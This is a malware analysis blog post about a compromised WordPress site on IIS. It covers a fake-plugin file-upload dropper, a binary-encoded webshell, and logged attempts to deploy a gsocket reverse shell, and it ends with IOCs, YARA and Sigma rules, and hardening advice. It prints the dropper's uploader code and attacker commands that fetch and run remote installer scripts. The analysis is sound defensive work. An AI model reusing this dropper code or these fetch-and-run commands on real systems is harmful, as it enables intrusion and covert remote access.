Post

Telegram Handles, Binary-Encoded PHP, and a Relay Shell: Inside a WordPress Webshell Compromise

A compromised WordPress site, eleven hundred lines of IIS logs, a two-stage binary-encoded webshell, and six attempts to deploy a gsocket reverse shell.

Telegram Handles, Binary-Encoded PHP, and a Relay Shell: Inside a WordPress Webshell Compromise

The views and opinions expressed in this post are my own and do not represent those of my employer. This is a personal blog where I share research and things I’m learning.

TL;DR

A WordPress site was compromised via an unauthenticated file upload endpoint in an already-installed plugin. The attacker deployed a two-stage webshell: a 460-byte fake plugin dropper (with Telegram handles printed in the output) followed by a 427KB binary-encoded file manager and remote code execution platform. From there, they made six attempts to deploy a gsocket reverse shell connecting outbound over TLS to gsocket[.]io:443 – a relay architecture with no listening C2 IP to block. Entire active exploitation window: 19 minutes.

If this is your fleet, do these first:

  • Hunt w3wp.exe (IIS worker) spawning cmd.exe, bash.exe, or curl.exe – Windows Event ID 4688 or Sysmon Event ID 1
  • Block gsocket[.]io and cdn.gsocket[.]io at DNS/proxy – outbound TLS from a web server to these is a foothold
  • Check wp-content/plugins/ for unexpected PHP files created in the last 90 days

Full IOCs and detection rules are at the bottom.

A busy day on one web server

I got handed the access logs and two PHP files from a compromised WordPress site. The logs covered a single day – eleven hundred lines of IIS W3C format – and the picture they painted was a server having a genuinely rough time: brute-force bots, credential stuffers, CVE scanners, and eventually a real attacker dropping a 427KB webshell and trying six different ways to install a covert reverse shell.

What made it interesting wasn’t the sophistication – it wasn’t especially sophisticated. What made it interesting was the layering: a fake plugin as a dropper, a binary-obfuscated full-featured file manager as the real payload, and then a persistent background-noise attack that suddenly got very focused. If you run WordPress on Windows IIS, some of this will feel familiar. Let’s dig in.

Defender quick reference

FieldDetails
Activity typeCompromise – WordPress webshell + reverse shell deployment
Primary artifactstoolbar-processor-428.php, byp.php, gsocket[.]io, sindikat777 (URL param), c0m99nd (URL param)
VerdictMalicious
ConfidenceHigh – full webshell code recovered; IIS logs capture the exploit chain end-to-end
Key logsIIS W3C access logs, Windows Event ID 4688 (process creation), Sysmon Event ID 1/3
ATT&CKT1190, T1505.003, T1110, T1219, T1027, T1036.005, T1053.003, T1543.002, T1070.006
First defender actionsBlock gsocket[.]io at DNS/proxy; hunt w3wp.exe child processes; audit wp-content/plugins/ for unknown PHP
Detection opportunitiesYARA sindikat_webshell_stage1/stage2; Sigma for IIS query strings; Event ID 4688 for IIS spawning cmd.exe/bash.exe
False-positive notesgsocket is a legitimate open-source tool – sindikat777 and c0m99nd params have no known legitimate use

The attack at a glance

1
2
3
4
5
6
7
8
1. Initial access    -- malicious WordPress plugin installed via /wp-admin/admin-ajax.php
                        (probable unauthenticated AJAX endpoint in a pre-existing plugin)
2. Stage 1 dropper   -- toolbar-processor-428.php: fake WP plugin, unauthenticated file uploader
3. Stage 2 webshell  -- byp.php uploaded via Stage 1: full-featured file manager + RCE
4. C2 deployment     -- 6 successive attempts to deploy gsocket reverse shell
                        (bash -> backup installer -> WSL -> PowerShell x2 -> wget)
5. Objective         -- interactive reverse shell via gsocket relay (TLS 443 outbound),
                        manual recon (whoami / pwd / dir)

Total attacker dwell time in the active exploitation window: 19 minutes. The persistence infrastructure they tried to install would have run indefinitely.


How it works

Stage 1 – The fake plugin

toolbar-processor-428.php is dressed up as a legitimate WordPress plugin. It has a convincing header block:

1
2
3
4
5
6
7
<?php
/*
Plugin Name: Toolbar Processor 428
Description: WordPress Toolbar Processor 428
Version: 1.2.6
Author: WP Core
*/

Past the header, it’s 460 bytes of actual function. It prints php_uname() output so the attacker can confirm execution, then renders an unauthenticated file upload form. No password, no session check, nothing:

1
2
3
4
5
6
7
8
9
10
echo '<center>Telegram: @WebshellSR <br>Contact : @Devco1 & @BIBIL0DAY<br><pre>'
     . php_uname() . '
     <form method="post" enctype="multipart/form-data">
       <input type="file" name="__">
       <input name="_" type="submit" value="Upload">
     </form>';
if($_POST){
    if(@copy($_FILES['__']['tmp_name'], $_FILES['__']['name'])){ echo 'OK'; }
    else { echo 'ER'; }
}

The Telegram handles embedded in the output – @WebshellSR, @Devco1, @BIBIL0DAY – are there for anyone to find. Make of that what you will.

Stage 2 – The obfuscated webshell

Using Stage 1’s upload form, the attacker uploaded byp.php – 426KB on disk, decoding to 47,385 bytes of PHP. The obfuscation is two-layered and reasonably thoughtful.

Layer 1: Binary encoding. The entire PHP payload is stored as a comma-separated string of 8-bit binary groups – 00111100,00111111,01110000... – inside a $binary_data variable. The outer script loops through them, converts each group with chr(int(b, 2)), and evaluates the result. It’s not cryptographically strong, but it defeats regex-based scanners looking for strings like shell_exec or system.

Layer 2: Char-code function name obfuscation. Inside the decoded payload, every dangerous PHP function name is reconstructed at runtime. Two helpers do the job:

1
2
3
4
5
6
// chDxzZ() decodes decimal arrays: [115,104,101,108,108] -> "shell"
// chDxXZ() decodes hex strings:    '73797374656d'         -> "system"

// Calling shell_exec looks like this:
$f = chDxzZ([115,104,101,108,108,95,101,120,101,99]);
$out = @$f($command);

If an AV product is checking for the string shell_exec in PHP files, it won’t find it here.

Once decoded, byp.php is a full-featured file manager and remote code execution platform. It browses the server filesystem via a sindikat777 GET parameter (which accepts hex-encoded absolute paths, including Windows drive letters), executes commands via act=c0m99nd&c0m99nd=<cmd>, and cycles through twelve execution methods in sequence – shell_exec, exec, system, passthru, proc_open, popen, and more – until one works. Upload, download, chmod, rename, delete, zip, unzip. It’s a full tool.

The sindikat777 parameter name is a fingerprint worth keeping. I’ve only analysed this single sample, so I can’t claim it recurs across a confirmed cluster – but if you see it in your own logs it’s a specific enough string to be meaningful. “Sindikat” is Indonesian for “syndicate”, and the backup C2 domain remotenyasar[.]click follows the same thread – “nyasar” is Indonesian for “to go astray”. I won’t overstate what language overlap alone proves, but it’s a pivot worth noting.

Stage 3 – The C2 deployment attempts

With command execution established, the attacker’s goal was to deploy gsocket – an open-source reverse shell that tunnels over TLS to a relay at gsocket[.]io:443, letting the operator connect back from anywhere without exposing a C2 server IP. It’s a legitimate project that works very well as an unauthorised implant.

What the logs show is an attacker systematically discovering what execution environment they’re actually in:

1
2
3
4
5
6
7
8
21:46:08  bash -c "$(curl -fsSL hxxps://gsocket[.]io/x)"              → HTTP 200
21:46:15  curl hxxp://remotenyasar[.]click/AK/gs.sh | bash             → HTTP 200
21:49:50  wsl bash -c "$(curl -k -fsSL hxxps://gsocket[.]io/x)"       → HTTP 200
21:50:07  Invoke-WebRequest -Uri "hxxps://gsocket[.]io/x" ...          → HTTP 200
21:50:24  iex ((New-Object ...).DownloadString('...'))                 → HTTP 500
21:50:27  iex (retry)                                                  → HTTP 500
21:50:30  iex (retry)                                                  → HTTP 200
21:51:36  GS_NOCERTCHECK=1 bash -c "$(wget --no-check... )"            → HTTP 200

The HTTP status codes here deserve a careful read – a 200 from the webshell means the PHP script returned a response, not that the command it tried to run actually worked. The iex attempts returning 500 are more telling: those are IIS-level errors, meaning byp.php itself crashed trying to execute those commands – likely hitting a PHP execution limit or an unhandled exception when calling into PowerShell. The retries eventually got a 200 (the webshell recovered), but the attacker still pivoted to wget immediately after, which suggests they didn’t get confirmation that any PowerShell execution succeeded. We can’t confirm from IIS logs alone whether bash execution actually deployed gsocket – a 200 from the webshell tells us the command was submitted, not that it ran cleanly. What’s certain is the attacker then ran whoami, pwd, and dir – classic manual recon steps you take when automated tooling hasn’t confirmed the foothold.

The cmd.exe wrapper in the alert that kicked off this investigation – cmd.exe /s /c "bash -c ..." – comes from here. The PHP process on IIS is a Windows process. To reach bash (Git Bash or WSL), it has to go through cmd.exe first. For more on signed-binary proxy execution paths like this, see the LOLBins topic hub.


Techniques observed (MITRE ATT&CK)

The following techniques have been mapped to MITRE ATT&CK for future reference. IDs were not pre-assigned in the source materials.

TacticTechniqueATT&CK IDWhat it did here
Initial AccessExploit public-facing applicationT1190Probable unauthenticated AJAX endpoint in a WordPress plugin allowed plugin installation
PersistenceServer software component: webshellT1505.003Malicious plugin installed as a persistent dropper; full webshell uploaded in Stage 2
Credential AccessBrute force / credential stuffingT1110161.118.251[.]181: slow WP brute force; 103.82.195[.]44: credential stuffing + user enumeration
Defence EvasionMasquerade as legitimate pluginT1036.005Fake plugin header Author: WP Core; webshell binary-encoded to defeat AV strings
Defence EvasionObfuscated files or informationT1027Two-layer obfuscation: binary encoding + char-code function names
ExecutionUnix shell / command executionT1059.004PHP webshell’s c0m99nd interface cycling 12+ exec methods
Command and ControlRemote access software (gsocket)T1219Reverse shell via gsocket[.]io relay over TLS 443
PersistenceScheduled task/cronT1053.003gsocket deploy script would install 0 * * * * crontab entry if bash execution succeeded
PersistenceSystem service (systemd)T1543.002gsocket deploy script would install defunct.service masquerading as “D-Bus System Connection Bus” if run as root
Defence EvasionProcess masqueradingT1036.005gsocket renames process to kernel thread names: [kworker], [kswapd0] etc.
Defence EvasionTimestompT1070.006gsocket deploy script restores original file timestamps post-install

Why this matters

The end goal here is a persistent, covert, interactive shell on a web server – and the operator clearly knows what they’re doing post-access. gsocket’s relay architecture means there’s no listening C2 IP to block; all the attacker needs is outbound TLS to gsocket[.]io:443, which looks like normal HTTPS traffic. Once that’s running, the attacker can come back at any point, even if the original webshells are removed.

The server path exposed by the sindikat777 navigation parameter – C:\inetpub\wwwroot\[redacted]\ – tells them exactly where they are, and the dir / whoami / pwd commands at the end suggest they were building that picture before the next stage of the operation. Whether the next step was data theft, ransomware staging, or resale of the access, the logs don’t say. The foothold was the objective we captured; what they intended to do with it is not mine to declare.


What defenders can do

Technique (ATT&CK)What to doEssential EightWhat to hunt for
Exploit public-facing app (T1190)Audit and patch all WP plugins; remove unused ones; audit unauthenticated AJAX actionsPatch Applications (E8 Strategy 2)New PHP files in wp-content/plugins/; child processes of IIS worker w3wp.exe
Webshell / malicious plugin (T1505.003)Restrict plugin installation to named admins; restrict PHP execution in upload paths; WDAC on web rootApplication Control (E8 Strategy 1)HTTP 200 to newly-created PHP files in wp-content/; IIS spawning cmd.exe or bash.exe
Credential stuffing / brute force (T1110)MFA on wp-login.php; rate-limit login attempts; block on auth failure thresholdMFA (E8 Strategy 7)5+ login failures per minute from a single IP; ?author= parameter enumeration
Remote access tool / gsocket (T1219)Block gsocket[.]io and cdn.gsocket[.]io at DNS/proxy; restrict outbound TLS from server to approved destinationsNo direct E8 home – egress filteringOutbound TLS to gsocket[.]io; cron entries containing base64 blobs; processes named like kernel threads but spawning from user paths
Webshell obfuscation (T1027)Application Control – execution is blocked regardless of how the payload is encodedApplication Control (E8 Strategy 1)IIS spawning unexpected child processes; PHP executing bash.exe, cmd.exe, curl.exe
Process masquerading – gsocket (T1036.005)No direct E8 home. Detect on behaviour, not nameProcesses claiming kernel-thread names ([kworker], [kswapd0] etc.) where /proc/<PID>/exe is not a kernel binary; files named defunct or gs-dbus in user homedirs

Patching and plugin hygiene (T1190)

The initial access almost certainly came through an unauthenticated AJAX endpoint in an already-installed WordPress plugin – logs showed POST /wp-admin/admin-ajax.php calls returning HTTP 200 from a new IP about 37 minutes before the attacker first touched the malicious plugin. That’s a plugin with a wp_ajax_nopriv_ action that accepts file uploads. The Essential Eight Patch Applications strategy (Strategy 2) says internet-facing services should be patched within 48 hours of a fix being available where exploits exist – but patching doesn’t help if the vulnerable plugin is still installed and running. Audit what’s there. Anything unused should be gone. Run WPScan regularly and act on what it finds. See Patching Applications and Operating Systems (November 2023).

Application Control on the web root (T1505.003)

The webshell survived because PHP files could be written to wp-content/plugins/ and executed immediately. Application Control – E8 Strategy 1 – prevents execution of unapproved code even if it’s successfully written to disk. In a WordPress context, that means restricting which paths the IIS process identity can write to (uploads only), and ensuring your PHP runtime won’t execute newly-created files in plugin directories without an approval step. Application Control would have broken this chain before the first command executed (see Implementing Application Control (November 2023)). T1505.003 isn’t listed explicitly in the canonical E8 lookup, but Application Control is the right home: if code execution from a newly-written PHP file can’t happen, the webshell is inert regardless of how it was delivered.

MFA on the WordPress admin panel (T1110)

161.118.251[.]181 ran a slow brute-force for nearly seven hours and got nowhere – but 103.82.195[.]44 successfully enumerated a valid username via ?author=1 and fired credential stuffing attempts. Compromised WordPress admin credentials remain a very common initial access path. Phishing-resistant MFA on wp-login.php directly addresses this. T1110 isn’t listed explicitly in the ASD Essential Eight mapping, but Multi-Factor Authentication (E8 Strategy 7) is the direct control – credential stuffing and brute force fail completely when MFA is required on the admin panel. Implementing Multi-Factor Authentication (November 2023) is the reference; phishing-resistant MFA (FIDO2 or TOTP) on wp-login.php gets you there.

Removing bash from the IIS server

This one doesn’t map neatly to the Essential Eight, but it’s arguably the most impactful single action. The server ran WordPress on Windows IIS. Git Bash or WSL was installed and accessible to the IIS process identity. That’s what let the attacker pivot from a PHP webshell to a bash-based reverse shell installer. A Windows web server hosting a PHP application has no legitimate need for bash.exe in the PATH. Remove it. The ISM Guidelines for System Hardening (June 2025) covers the principle of removing unnecessary software and restricting what a service account can execute – this is that principle, applied concretely.

Block gsocket relay infrastructure

gsocket is clever C2 infrastructure precisely because it has no listening IP – all traffic is TLS outbound to gsocket[.]io:443, identical to normal HTTPS. Blocking it requires DNS/proxy category rules rather than an IP block. Add gsocket[.]io and cdn.gsocket[.]io to your proxy blocklist now. More broadly, web servers generally should not be initiating outbound HTTPS connections at all – a default-deny egress policy with approved exceptions is the right architecture for a production web server. There’s no Essential Eight strategy that directly covers this; it lives in network architecture and is discussed in Strategies to Mitigate Cyber Security Incidents – Mitigation Details.


Hunting and detection summary

If you’re going to check your environment against this, here’s the consolidated list:

  • New PHP files in wp-content/plugins/ – file creation audit on that path; any new file not matching a known-good plugin install deserves a look
  • w3wp.exe spawning cmd.exe, bash.exe, curl.exe, wsl.exe – Windows Event ID 4688 (process creation) or Sysmon Event ID 1; these are not normal child processes for an IIS worker
  • POST /wp-admin/admin-ajax.php from an IP with no prior authenticated session – cross-reference with wp-login.php success events
  • Repeated POST /wp-login.php from a single IP – more than 5 per minute is a brute-force signal; ?author= enumeration in query strings
  • Outbound TLS to gsocket[.]io, cdn.gsocket[.]io, remotenyasar[.]click – proxy/DNS logs; any of these from a web server is bad
  • Processes named [kworker], [kswapd0], defunct, gs-dbus where the binary path is outside /proc/kthread or is a user homedir – this is gsocket hiding
  • Crontab entries or shell profile lines containing #1b5b324a50524e47 – every gsocket persistence entry includes this marker string; grep for it across all user crontabs and shell profiles
  • Systemd service named defunct.service with description “D-Bus System Connection Bus” – gsocket’s systemd masquerade
  • HTTP requests containing sindikat777 or c0m99nd in query strings – the webshell’s parameter fingerprint; IIS logs or WAF logs

Detection rules, YARA signatures, and a full IOC CSV for this campaign are available in the detections repository.

Indicators of Compromise

TypeIndicatorNotes
URL/wp-content/plugins/toolbar-processor-428/toolbar-processor-428.phpStage 1 webshell
URL/wp-content/plugins/toolbar-processor-428/byp.phpStage 2 webshell
Filenametoolbar-processor-428.phpStage 1 dropper
Filenamebyp.phpStage 2 full webshell
IP182.253.14[.]138Primary attacker / webshell operator
IP103.59.160[.]93Probable plugin installer
IP103.82.195[.]44Username enumeration + credential stuffing
IP161.118.251[.]181WordPress brute-force bot
Domaingsocket[.]iogsocket C2 relay
Domaincdn.gsocket[.]iogsocket binary CDN
Domainremotenyasar[.]clickAttacker-controlled backup C2 installer host
URLhxxp://remotenyasar[.]click/AK/gs.shBackup gsocket installer script
String@WebshellSROperator Telegram handle (embedded in Stage 1)
String@Devco1Operator Telegram handle (embedded in Stage 1)
String@BIBIL0DAYOperator Telegram handle (embedded in Stage 1)
Crontab/file marker#1b5b324a50524e47 >/dev/random # seed prnggsocket persistence line marker
Process namedefunct, gs-dbus, [kworker], [kswapd0], [kstrp], [ksmd]gsocket process masquerade names
File path~/.config/htop/defunctgsocket binary install path (user)
File path/usr/bin/defunctgsocket binary install path (root)

Detection rules

rule sindikat_webshell_stage1 {
    meta:
        description = "toolbar-processor-428 WordPress plugin dropper"
        severity    = "CRITICAL"
    strings:
        $tg1 = "@WebshellSR" ascii
        $tg2 = "@Devco1"     ascii
        $tg3 = "@BIBIL0DAY"  ascii
        $up  = "copy($_FILES['__']['tmp_name'], $_FILES['__']['name'])" ascii
    condition:
        any of ($tg*) or $up
}

rule sindikat_webshell_stage2 {
    meta:
        description = "byp.php binary-encoded webshell -- encoded or decoded"
        severity    = "CRITICAL"
    strings:
        $enc  = /\$binary_data\s*=\s*"[01]{8},[01]{8}/  // binary blob start
        $p1   = "sindikat777" ascii
        $p2   = "c0m99nd"     ascii
        $h1   = "chDxzZ"      ascii
        $h2   = "chDxXZ"      ascii
    condition:
        $enc or (2 of ($p1, $p2, $h1, $h2))
}
1
2
3
4
5
6
7
8
9
10
11
12
13
# Sigma -- webshell command execution in IIS logs
title: sindikat Webshell C2 Parameters in IIS Query String
logsource:
  product: iis
detection:
  selection:
    cs-uri-query|contains:
      - 'act=c0m99nd'
      - 'sindikat777='
      - 'c0m99nd='
  condition: selection
level: critical
falsepositives: []

Closing

The part I keep coming back to is how unremarkable the tooling was. The dropper was 460 bytes with a Telegram handle in the output. The second-stage webshell was a commercial product. The reverse shell was an open-source project. None of this was bespoke, and none of it needed to be – because the target hadn’t patched their plugins, hadn’t put MFA on the admin panel, and had Git Bash sitting in the PATH of their web server process.

The attacker spent 19 minutes doing what they came to do. The cleanup – if it wasn’t caught in time – is a lot longer. If you’re running a WordPress site and haven’t audited your plugins recently, that’s probably the place to start.

Stay curious.


On methodology: the investigation is mine. The reverse engineering and analysis assembly were carried out with AI workflows (Claude, primarily). I reviewed every finding. Errors are mine - ping me on X or Instagram if you spot something off.

References

This post is licensed under CC BY 4.0 by the author.